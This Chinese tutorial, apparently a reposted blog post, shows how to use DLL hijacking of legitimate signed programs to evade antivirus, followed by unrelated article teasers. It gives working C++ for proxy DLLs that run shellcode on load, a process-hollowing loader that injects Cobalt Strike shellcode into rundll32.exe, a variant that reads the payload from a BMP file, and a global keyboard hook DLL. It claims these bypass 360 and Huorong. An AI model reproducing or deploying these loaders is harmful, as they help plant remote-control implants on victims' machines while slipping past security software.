浅谈dll劫持免杀

news2024/11/18 8:32:36

文章目录

    • 前置知识
    • dll加载
    • dll寻找
    • DLL劫持-白加黑-导入加载
    • DLL劫持-白加黑-导出编译
    • DLL劫持-白加黑-图片分离
    • hook+dll
      • 原理
      • win api
      • 核心代码
      • 注意事项

前置知识

基础技能

  • c语言基本知识
  • win32 API 知识
  • 会在微软官网查询API
  • PE结构知识

原理

DLL劫持的原理主要就是windows下加载DLL的顺序。在加载DLL的时候,系统会依次从以下六个位置去查找所需要的DLL文件

  1. 程序所在目录
  2. 系统目录
  3. 16位系统目录
  4. Windows目录
  5. 当前目录
  6. PATH环境变量中的各个目录

dll加载

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("calc.exe", SW_NORMAL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
void msg() {
    MessageBox(0, L"Dll-1 load  succeed!", 0, 0);
}

framework.h

#pragma once

#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);

a.c

#include <stdio.h>
#include <Windows.h>
typedef void(*msg)();

int main()
{
    // 定义一个函数类DLLFUNC
    HMODULE hDll = LoadLibrary(L"Dll1.dll");
    if (hDll == NULL) {
        printf("1");
        return 0;
    }
    msg func = (msg)GetProcAddress(hDll, "msg");
    if (func != NULL) {
        //运行msg函数
        (*func)();
    }
    return 0;
}

dll寻找

Process Monitor

  • Include

Operation is CreateFile

Operation is LoadImage

Operation is QueryOpen

Path contains .dll

processname is kk.exe

Path begins with C:\test\KKcapture

  • Exclude

Result is SUCCESS

  • 过滤参考
Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
Path begins with C:\test\KKcapture

Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

windbg/procexp

均可一键导出加载的dll

打开待测exe文件
用Process Explorer查看待测exe打开调用的dll
ctrl+s保存文件,使用脚本文件处理,得到一个新的纯dll列表的文件
关闭待测软件,找到exe文件路径
打开chkDllhiJack,将待测exe文件路径以及dll列表填入相对应的位置,点击检测or运行
如果存在dll劫持漏洞,则输出框内出现对应的dll文件名;如果不存在,则提示no valid xxx;
复制payload.dll文件(打开计算器),改名为对应的dll文件名,放在exe文件同一路径下,双击exe文件,查看打开exe文件的同时是否开启了计算器。

DLL劫持-白加黑-导入加载

procexp/火绒剑 分析dll,选择一个dll文件来进行劫持,尽量找文件较小的dll文件

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include<iostream>
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "";
//CS生成32位shellcode
DWORD  WINAPI  ceshi(LPVOID pParameter)
{
    __asm
    {
        mov eax, offset shellcode
        jmp eax
    }
    return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码
        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern"C" _declspec(dllexport) void test()
{
    int a;
    a = 0;
}

接下来利用Stud_PE来加载我们生成的dll,将修改后的libfontconfig-1.dll以及我们生产的dll文件都拖到kk录像机安装目录
在这里插入图片描述

dll被杀烂了,尝试强加密绕过杀软

DLL劫持-白加黑-导出编译

cloudmusic_reporter.exe(并发现是32位程序)单独复制出来运行会产生报错缺少dll文件。将缺失的dll文件复制到相同文件夹后即可成功运行

使用Dependencies工具对krpt.dll进行反编译,导出krpt.dll源码
使用visual studio 创建一个新项目。项目名称右键——打开项目位置——将反编译的dll源码复制进去。
选中dll源码拖入项目,工具就会自动加载源码
打开asm文件,将所有的jmp语句删除
根据文件中的教程,选中文件——右键属性——修改——点击应用
项目名称——右键属性——c/c++——代码生成——运行库——多线程(/MT)
预编译头——不使用预编译头
链接器——调试——生成调试信息——否
在libcurl.c中添加一句#include "pch.h"

完整代码结构如下

framework.h

#pragma once

#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

libcurl.h

#ifndef libcurl_H
#define libcurl_H
//aheadlib plugin for csharp.by snikeguo,email:408260925@qq.com
//codegen time:2023-11-24 11:06:32:169
#include<Windows.h>
#include<Shlwapi.h>
extern PVOID pfnAL_curl_easy_cleanup;//curl_easy_cleanup
.......

pch.h

// pch.h: 这是预编译标头文件。
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。

#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"

#endif //PCH_H

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include "libcurl.h"
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(0, L"Dll-1 load  succeed!", 0, 0);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
void msg() {
    MessageBox(0, L"Dll-1 load  succeed!", 0, 0);
}

libcurl.c

#include"libcurl.h"
#include "pch.h"
........

libcurl_jump.asm

.686P
.MODEL FLAT,C
.DATA
.......

pch.cpp

// pch.cpp: 与预编译标头对应的源文件

#include "pch.h"

// 当使用预编译的头时,需要使用此源文件,编译才能成功。

py脚本

处理dll格式

with open('a.txt','r',encoding="utf-8") as f:
    for i in f:
        print(i.split('	')[-1])

处理jmp

with open('a.txt','r',encoding="utf-8") as f:
    for i in f:
        if "jmp" not in i:
            print(i)

成功弹出计算器,换成上线代码dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include "libcurl.h"
BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		unsigned char hexData[] = "";
		char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);
		memcpy((void*)v7A, hexData, _countof(hexData));

		struct _PROCESS_INFORMATION ProcessInformation;
		struct _STARTUPINFOA StartupInfo;
		void* v24;
		CONTEXT Context;
		DWORD DwWrite = 0;
		memset(&StartupInfo, 0, sizeof(StartupInfo));
		StartupInfo.cb = 68;
		BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
		if (result)
		{
			Context.ContextFlags = 65539;
			GetThreadContext(ProcessInformation.hThread, &Context);
			v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
			WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);
			Context.Eip = (DWORD)v24;
			SetThreadContext(ProcessInformation.hThread, &Context);
			ResumeThread(ProcessInformation.hThread);
			CloseHandle(ProcessInformation.hThread);
			result = CloseHandle(ProcessInformation.hProcess);
		}


		TerminateProcess(GetCurrentProcess(), 0);
	};

	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

在这里插入图片描述

成功过360,测试发现火绒也可绕过

DLL劫持-白加黑-图片分离

python2 dkmc.py
gen
set shellcode 这里是CS的shellcode
run

dllmain.cpp

#define _CRT_SECURE_NO_DEPRECATE 
#include "framework.h"
#include "windows.h"
#include "libcurl.h"
#include <stdlib.h>
#include <stdio.h>


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        FILE* fp;  // 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义
        size_t size;  // 定义文件字节数变量size
        unsigned char* buffer;  // 定义缓存指针变量

        fp = fopen("output-1700840239.bmp", "rb");	//****修改为上方生成的图片****
        // fseek()负号前移,正号后移
        fseek(fp, 0, SEEK_END);          // 文件指针指向文件末尾
        // ftell()返回给定流 stream 的当前文件位置
        size = ftell(fp);                // size值为文件大小
        fseek(fp, 0, SEEK_SET);          // 文件指针指向文件开头
        buffer = (unsigned char*)malloc(size);    // 动态申请图片大小的内存空间(数组指针)
        fread(buffer, size, 1, fp);  // 从fp读取和显示1个size大小的数据

        char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);
        memcpy((void*)v7A, buffer, size);

        struct _PROCESS_INFORMATION ProcessInformation;
        struct _STARTUPINFOA StartupInfo;
        void* v24;
        CONTEXT Context;
        DWORD DwWrite = 0;
        memset(&StartupInfo, 0, sizeof(StartupInfo));
        StartupInfo.cb = 68;
        BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
        if (result)
        {
            Context.ContextFlags = 65539;
            GetThreadContext(ProcessInformation.hThread, &Context);
            v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, size, 0x1000u, 0x40u);
            WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, size, &DwWrite);
            Context.Eip = (DWORD)v24;
            SetThreadContext(ProcessInformation.hThread, &Context);
            ResumeThread(ProcessInformation.hThread);
            CloseHandle(ProcessInformation.hThread);
            result = CloseHandle(ProcessInformation.hProcess);
        }


        TerminateProcess(GetCurrentProcess(), 0);
    };
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

将exe,dll及图片放在一起再次运行,成功上线

hook+dll

原理

  • 当我们通过键盘输入,系统(OS)会把键盘输入这个事件发送到系统消息队列(OS message queue)
  • 随后系统会从这个消息队列里拿出这个事件,判断这个输入是在哪个程序发生的。
  • 发送到输入发生地程序的消息列表中(application message queue)
  • 目标程序把键盘输入的事件拿出,执行并显示

在这里插入图片描述

win api

HINSTANCE和HMODULE

HINSTANCE的本质是模块基地址,他仅仅在同一进程中才有意义,跨进程的HINSTANCE是没有意义
HMODULE 是代表应用程序载入的模块,win32系统下通常是被载入模块的线性地址。
HINSTANCE 在win32下与HMODULE是相同的东西(只有在16位windows上,二者有所不同).

SetWindowsHookExW

HHOOK SetWindowsHookExW(
  [in] int       idHook,
  [in] HOOKPROC  lpfn,
  [in] HINSTANCE hmod,
  [in] DWORD     dwThreadId
);

idHook 如键盘事件WH_KEYBOARD,安装监视击键消息的挂钩过程
HOOKPROC lpfn——钩子的处理函数,若设置的是键盘输入钩子,必须是微软定义的一个叫KeyboardProc的函数。
HINSTANCE hmod——模块句柄,因此一般设置钩子的地方在DLL中。
DWORD dwThreadId——需要设置钩子的线程ID,倘若为0则为全局钩子(所有程序都钩)。

KeyboardProc

LRESULT CALLBACK KeyboardProc(
  _In_ int    code,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

code 如果小于零,挂钩过程必须将消息传递给 CallNextHookEx 函数,而无需进一步处理,并且应返回 CallNextHookEx 返回的值
wParam 生成击键消息的密钥的虚拟密钥代码。
lParam 31转换状态,如果按下键,则值为 0;如果释放键,则值为 1!(lParam & 0x80000000) 第三十二位的1和lParam的31位相与,按下键时判断为真

EXTERN_C,__declspec(dllexport)

#define EXTERN_C       extern "C"
__declspec(dllexport)关键字从 DLL 中导出数据、函数、类或类成员函数

GetLastError

返回值是调用线程的最后错误代码

UnhookWindowsHookEx

BOOL UnhookWindowsHookEx(
  [in] HHOOK hhk
);
删除 SetWindowsHookEx 函数安装在挂钩链中的挂钩过程。
hhk 要移除的挂钩的句柄

DllMain

BOOL WINAPI DllMain(
  _In_ HINSTANCE hinstDLL,
  _In_ DWORD     fdwReason,
  _In_ LPVOID    lpvReserved
);
hinstDLL DLL 模块的句柄,值是 DLL 的基址

GetModuleFileNameA

检索包含指定模块的文件的完全限定路径,模块必须已由当前进程加载
DWORD GetModuleFileNameA(
  [in, optional] HMODULE hModule,
  [out]          LPSTR   lpFilename,
  [in]           DWORD   nSize
);
hModule 正在请求其路径的已加载模块的句柄.此参数为 NULL,则 GetModuleFileName 将检索当前进程的可执行文件的路径

strrchr

C 库函数 char *strrchr(const char *str, int c) 在参数 str 所指向的字符串中搜索最后一次出现字符 c(一个无符号字符)的位置。
如果找到字符,它将返回一个指向该字符的指针,否则返回 NULL

核心代码

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <stdio.h>

HINSTANCE g_hDll;
HHOOK g_hHook;

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		g_hDll = hModule;
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

LRESULT CALLBACK KeyboarProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	char szPath[MAX_PATH];
	char* p = NULL;
	if (nCode >= 0)
	{
		if (!(lParam & 0x80000000))
		{
			GetModuleFileNameA(NULL, szPath, MAX_PATH);
			p = strrchr(szPath, '\\');
			if (!_stricmp(p + 1, "notepad.exe"))//只对notepad进程拦截
			{
				return 1;
			}
		}
	}
	return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

EXTERN_C __declspec(dllexport) void HookStart()
{
	g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboarProc, g_hDll, 0);
	DWORD errCode = GetLastError();
	printf("%d", errCode);
}

EXTERN_C __declspec(dllexport) void HookStop()
{
	if (g_hHook)
	{
		UnhookWindowsHookEx(g_hHook);
		g_hHook = NULL;
	}
}

inject.c

//hook.cpp
#include <Windows.h>
#include <conio.h>
#include <stdio.h>

typedef void(*HOOKSTART)();
typedef void(*HOOKSTOP)();

int main()
{
	HMODULE hDll = LoadLibrary(L"KeyHook.dll");
	if (!hDll)
	{
		return 0;
	}

	HOOKSTART hookStart = (HOOKSTART)GetProcAddress(hDll, "HookStart");
	if (!hookStart)
	{
		return 0;
	}
	HOOKSTOP hookStop = (HOOKSTOP)GetProcAddress(hDll, "HookStop");
	if (!hookStop)
	{
		return 0;
	}
	hookStart();
	printf("press 'q' to quit\n");

	while (_getch() != 'q')
	{
	}

	hookStop();

	FreeLibrary(hDll);
}

效果展示

  • typora可以正常输入,但是输入时被加载KeyHook.dll
  • notepad无法输入,且按下键盘被加载KeyHook.dll

在这里插入图片描述

注意事项

  • 电脑为64位,所以应该编译成64位运行,否则32位的DLL不能注入64位的程序就会整个窗口卡住。即按键事件分发不到具体的钩子处理函数,而事件已经被标志为已挂钩,必须找到处理函数。这就会产生事件无法得到处理,程序卡死的现象

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1252964.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

柯桥学历提升培训,考研党要不要关闭朋友圈

关掉朋友圈的好处 在众多上岸人的考研经验贴中&#xff0c;可以看到&#xff0c;“适时关闭朋友圈”成为常见内容。 学长学姐给的建议都是不要通过朋友圈去过度关注别人的光鲜生活&#xff0c;也不必一定要向外展示自己的现状&#xff0c;喜怒哀乐自我消化&#xff0c;保持思想…

设置标题绑定目录

格式要求 正文标题 1标题 2标题 3款标题绑定多级标题目录页眉页脚 正文 宋体、小四、段前段后各设为 0.5 行&#xff0c;左边空两格、样式&#xff1a; XXX 左边不留空格什么意思呢&#xff1f;以下是有空格和没有空格的区别&#xff1a; 修改下正文的格式。先看下模板格式要…

报错0x0000007b问题解决

DirectX_Repair(Enhanced_Edition)工具可以解决win7 win8 win10缺少的vc库和系统库的依赖问题 链接&#xff1a;https://pan.baidu.com/s/1Bl_DtYNdaHEXYJJEb597tA 提取码&#xff1a;7p1y 有问题&#xff0c;请大家多多评论

二分查找之红蓝二分查找

꒰˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好&#xff0c;我是xiaoxie.希望你看完之后,有不足之处请多多谅解&#xff0c;让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN …

Executors(线程池操作类)

一&#xff0c;常用方法 二&#xff0c;案例 package XianChengChildren;import java.util.concurrent.*;public class ThewadPoolTest1 {public static void main(String[] args) throws Exception { // ExecutorService pool new ThreadPoolExecutor(3,5,8, // …

中国开源年度报告.问卷篇第二轮抽奖来袭!

中国开源年度报告.问卷篇第二轮抽奖来袭&#xff01;填问卷&#xff0c;赢鼠标垫&#xff0c;共建未来&#xff01; 中国开源年度报告由开源社发起&#xff0c;旨在多维度、多方式、多协作地呈现国内开源的发展情况。今年&#xff0c;我们再次邀请您一同参与&#xff0c;成为这…

人工智能时代的内容写作

内容不再只是王道&#xff0c;正如俗话所说&#xff1a;它是一种流动的货币&#xff0c;推动了巨大的在线信息和影响力经济。 每个品牌都是一个故事&#xff0c;通过其服务和商品讲述自己。尽管如此&#xff0c;大多数客户还是会通过您的在线内容最了解您。 但随着我们进入人…

使用ETLCloud实现CDC实时数据集成:从MySQL到ClickHouse的实时数据同步

背景 在上一篇文章中体验了 ETLCloud 的离线数据迁移功能&#xff0c;就像大数据领域里有离线计算和实时计算&#xff0c; ETLCloud 还提供了基于 CDC &#xff08;Change Data Capture&#xff09;的实时数据集成功能&#xff1a;实时数据集成是指通过变化数据捕获技术&#…

3D建模对制造企业的价值

除非你在过去几年一直躲在岩石下,否则你可能听说过“3D 建模”和“3D 渲染”这些术语。 但为什么这项技术如此重要,尤其是对于产品制造公司而言? 简而言之,它减少了项目时间和成本。 这为制造商提供了更多的设计试验空间。 未能利用 3D 建模技术的公司很快就会落后于竞争对…

5.1每日一题(无穷级数敛散性的判断:莱布尼兹准则、p级数、绝对收敛、条件收敛、比较法/比较法的极限形式)

莱布尼兹准则&#xff1a;&#xff08;1&#xff09;单调递减&#xff1b;&#xff08;2&#xff09;极限 -> 0 绝对收敛&#xff1a;级数的绝对值收敛 条件收敛&#xff1a;级数的绝对值发散 p级数的次幂 <1 时发散 &#xff1b;>1时收敛

微信小程序文件预览和下载-文件系统

文件预览和下载 在下载之前&#xff0c;我们得先调用接口获取文件下载的url 然后通过wx.downloadFile将下载文件资源到本地 wx.downloadFile({url: res.data.url,success: function (res) {console.log(数据,res);} })tempFilePath就是临时临时文件路径。 通过wx.openDocume…

Kotlin学习——kt中的类,数据类 枚举类 密封类,以及对象

Kotlin 是一门现代但已成熟的编程语言&#xff0c;旨在让开发人员更幸福快乐。 它简洁、安全、可与 Java 及其他语言互操作&#xff0c;并提供了多种方式在多个平台间复用代码&#xff0c;以实现高效编程。 https://play.kotlinlang.org/byExample/01_introduction/02_Functio…

【LeetCode 热题 HOT 100】题解笔记 —— Day01

❤ 作者主页&#xff1a;欢迎来到我的技术博客&#x1f60e; ❀ 个人介绍&#xff1a;大家好&#xff0c;本人热衷于Java后端开发&#xff0c;欢迎来交流学习哦&#xff01;(&#xffe3;▽&#xffe3;)~* &#x1f34a; 如果文章对您有帮助&#xff0c;记得关注、点赞、收藏、…

spring boot整合Jasypt实现配置加密

文章目录 目录 文章目录 前言 一、Jasypt是什么&#xff1f; 二、使用步骤 1.引入 2.测试使用 3.结果 总结 前言 一、Jasypt是什么&#xff1f; Jasypt&#xff08;Java Simplified Encryption&#xff09;是一个Java库&#xff0c;提供了一种简单的加密解密方式&#xff0c…

【JVM系列】- 穿插·对象的实例化与直接内存

对象的实例化与直接内存 &#x1f604;生命不息&#xff0c;写作不止 &#x1f525; 继续踏上学习之路&#xff0c;学之分享笔记 &#x1f44a; 总有一天我也能像各位大佬一样 &#x1f31d;分享学习心得&#xff0c;欢迎指正&#xff0c;大家一起学习成长&#xff01; 文章目录…

laravel实现发送邮件功能

Laravel提供了简单易用的邮件发送功能&#xff0c;使用SMTP、Mailgun、Sendmail等多种驱动程序&#xff0c;以及模板引擎将邮件内容进行渲染。 1.在项目目录.env配置email信息 MAIL_MAILERsmtp MAIL_HOSTsmtp.qq.com MAIL_PORT465 MAIL_FROM_ADDRESSuserqq.com MAIL_USERNAME…

二阶常系数非齐次线性方程

,是一个n次多项式。 &#xff08;1&#xff09; 设 是(1)的特解。 是一个待定多项式 求的一阶导数 (求导&#xff1a;一项不变&#xff0c;二项求导二项不变&#xff0c;一项求导) 求的二阶导数 将其代入方程一 不可能是零 公式(2) 第一种情况&#xff1a; 即不是特征方程的…

c语言:有关内存函数的模拟实现

memcpy函数&#xff1a; 功能&#xff1a; 复制任意类型的数据&#xff0c;存储到某一数组中。 代码模拟实现功能&#xff1a; #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<string.h> #include <stdio.h> #include<assert.h> memcpy…

机器学习第14天:KNN近邻算法

☁️主页 Nowl &#x1f525;专栏《机器学习实战》 《机器学习》 &#x1f4d1;君子坐而论道&#xff0c;少年起而行之 文章目录 介绍 实例 回归任务 缺点 实例 分类任务 如何选择最佳参数 结语 介绍 KNN算法的核心思想是&#xff1a;当我们要判断一个数据为哪一类时…

ZKP中的哈希函数

1. 引言 后续博客&#xff1a; 如何选择ZK-friendly 哈希函数&#xff1f; 当暴露在ZK空间中时&#xff0c;对于普通crypto工程师来说&#xff0c;通常只需很少的时间就可以偶然发现一些外来的哈希函数——很可能是Poseidon。本文&#xff0c;将介绍ZK中高效哈希函数的历史&…